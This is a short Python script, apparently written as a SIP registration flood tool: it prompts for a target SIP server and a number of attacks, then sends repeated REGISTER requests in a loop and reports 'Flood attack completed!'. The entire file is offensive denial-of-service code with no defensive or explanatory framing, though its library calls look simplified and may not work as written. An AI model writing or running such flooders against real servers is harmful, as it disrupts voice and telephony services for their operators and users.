import sippy

# Set the target address
target = input("Please enter the target SIP server address: ")

# Set flood attack parameters
num_attacks = int(input("Please enter the number of attacks: "))

# Create SIP register request
request = sippy.new_request('REGISTER', target)

# Send register requests
for i in range(num_attacks):
    sippy.send_request(request)
    print(f"Sending registration request {i+1} to {target}")

print("Flood attack completed!")